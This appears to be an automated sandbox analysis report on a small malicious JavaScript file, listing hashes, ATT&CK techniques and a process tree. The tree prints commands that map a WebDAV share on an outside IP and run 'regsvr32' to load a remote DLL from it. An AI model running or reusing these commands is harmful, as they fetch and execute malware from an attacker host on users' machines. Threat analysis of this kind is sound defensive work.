eba79dbc2dfde95b2303a3994bb2a0973474e9b27864f2dcd82852594d015fbc

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 18:10

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General

Target

1309471532502224382.js
Size

5KB
MD5

dc3752d227b0ad028a75a1f7a16ba884
SHA1

391eae8a097acf7872cb920f0a6828c2d7a5ebbe
SHA256

eba79dbc2dfde95b2303a3994bb2a0973474e9b27864f2dcd82852594d015fbc
SHA512

3a56e94821240caec3c12b9474fddd9dee5dbc513a5dbe19099916d111fb1aaeecc1554ea493748bf12e9a3bf01d28982c3d5869d1e8cd52d577c4d59000f7ac
SSDEEP

96:HycCf5CU7uEYz6xVFEYzdcHTbbMsZ8kFWD781X9AlHi8eBij99b7F08eBUCIJf8i:HqBdez6xTzdGTbbByyWMTAI8eYjfe8eo

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2880	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 2164	2068	wscript.exe	30
PID 2068 wrote to memory of 2164	2068	wscript.exe	30
PID 2068 wrote to memory of 2164	2068	wscript.exe	30
PID 2164 wrote to memory of 2936	2164	cmd.exe	32
PID 2164 wrote to memory of 2936	2164	cmd.exe	32
PID 2164 wrote to memory of 2936	2164	cmd.exe	32
PID 2164 wrote to memory of 2880	2164	cmd.exe	33
PID 2164 wrote to memory of 2880	2164	cmd.exe	33
PID 2164 wrote to memory of 2880	2164	cmd.exe	33
PID 2164 wrote to memory of 2880	2164	cmd.exe	33
PID 2164 wrote to memory of 2880	2164	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1309471532502224382.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1309471532502224382.js" "C:\Users\Admin\\qvamom.bat" && "C:\Users\Admin\\qvamom.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2936
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\712.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\qvamom.bat

Filesize
5KB

MD5
dc3752d227b0ad028a75a1f7a16ba884

SHA1
391eae8a097acf7872cb920f0a6828c2d7a5ebbe

SHA256
eba79dbc2dfde95b2303a3994bb2a0973474e9b27864f2dcd82852594d015fbc

SHA512
3a56e94821240caec3c12b9474fddd9dee5dbc513a5dbe19099916d111fb1aaeecc1554ea493748bf12e9a3bf01d28982c3d5869d1e8cd52d577c4d59000f7ac

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